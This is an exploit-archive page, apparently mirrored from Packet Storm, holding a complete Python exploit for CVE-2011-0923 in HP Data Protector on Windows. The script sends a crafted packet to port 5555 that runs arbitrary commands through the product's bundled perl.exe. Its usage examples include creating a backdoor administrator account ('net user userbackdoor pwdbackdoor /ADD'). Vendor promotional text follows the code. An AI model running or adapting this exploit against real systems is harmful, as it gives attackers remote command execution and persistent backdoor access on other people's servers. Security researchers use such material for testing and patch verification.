Lucene search
K

HP Data Protector Arbitrary Remote Command Execution

🗓️ 07 Aug 2013 00:00:00Reported by Alessandro Di PintoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

HP Data Protector Arbitrary Remote Command Execution. Execute command with arbitrary number of arguments using perl.exe installed inside HP Data Protector. Bypass limitation of executing single command without parameter. Allows running any command on target system

Related
Code
`"""  
HP Data Protector Arbitrary Remote Command Execution  
  
This script allows to execute a command with an arbitrary number of  
arguments. The trick calls 'perl.exe' interpreter installed with HP Data  
Protector inside the directory {install_path}/bin/.  
  
The main goal of the script is to bypass the limitation of executing only a  
single command without any parameter, as provided by already existing  
exploits. As shown below, it's possible to exploit the security issue in order  
to run any command inside the target system.  
  
Target OS:  
Microsoft Windows  
  
Tested Version:  
HP Data Protector A.06.20  
  
Usage:   
exploit.py <target> <port> <command>  
  
Example:   
exploit.py 192.168.1.1 5555 'dir c:\'  
exploit.py 192.168.1.1 5555 'ipconfig /all'  
exploit.py 192.168.1.1 5555 'net user userbackdoor pwdbackdoor /ADD'  
  
Authors:   
Alessandro Di Pinto ( alessandro.dipinto () artificialstudios org )  
Claudio Moletta ( mclaudio () gmail com )  
  
Reference:  
http://www.zerodayinitiative.com/advisories/ZDI-11-055/  
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0923  
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143  
"""  
  
import socket  
import struct  
import sys  
  
def usage():  
print >> sys.stderr, "Usage: %s <target> <port> <command>" % sys.argv[0]  
exit(-1)  
  
def exploit(host, port, command):  
# Try to connect  
print >> sys.stderr, "[*] Connecting to target '%s:%s'..." % (host, port)  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect((host, int(port)))  
except Exception as ex:  
print >> sys.stderr, "[!] Socket error: \n\t%s" % ex  
exit(-3)  
else:  
print >> sys.stderr, "[*] Connected to the target."  
  
# Connected, build the malicious payload  
OFFSET = 46  
command = command.replace("\\", "\\\\")  
command_size = chr(OFFSET + len(command))  
CRAFTED_PKT = "\x00\x00\x00" + \  
command_size + \  
"\x32\x00\x01" + \  
"\x01\x01\x01" + \  
"\x01\x01\x00" + \  
"\x01\x00\x01" + \  
"\x00\x01\x00" + \  
"\x01\x01\x00" + \  
"\x2028\x00" + \  
"\\perl.exe" + \  
"\x00 -esystem('%s')\x00" % command  
  
# Send payload to target  
print >> sys.stderr, "[*] Sending payload '%s'" % command  
sock.sendall(CRAFTED_PKT)  
  
# Parse the response back  
print >> sys.stderr, "[*] Output:"  
while True:  
# Get information about response  
response_size = sock.recv(4)  
if not response_size: break  
n = struct.unpack(">I", response_size)[0]  
  
# Get command results  
# code = response[:5]  
# data = response[5:]  
response = sock.recv(n)  
  
# Clean and parse results  
response = response[5:].strip()  
response = response.replace("\n", "")  
response = response.replace("\x00", "")  
# Check for the end-of-message  
if response.upper().find("*RETVAL*") != -1:  
break  
print response  
  
# Close connection  
sock.close()  
  
if __name__ == "__main__":  
# Get command-line  
argc = len(sys.argv)  
if argc < 4:  
usage()  
host = sys.argv[1]  
port = sys.argv[2]  
cmd = sys.argv[3]  
if port.isdigit():  
port = int(port)  
else:  
print >> sys.stderr, "[!] Error, invalid port value"  
exit(-2)  
  
# Send malicious payload  
exploit(host, port, cmd)  
exit(0)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation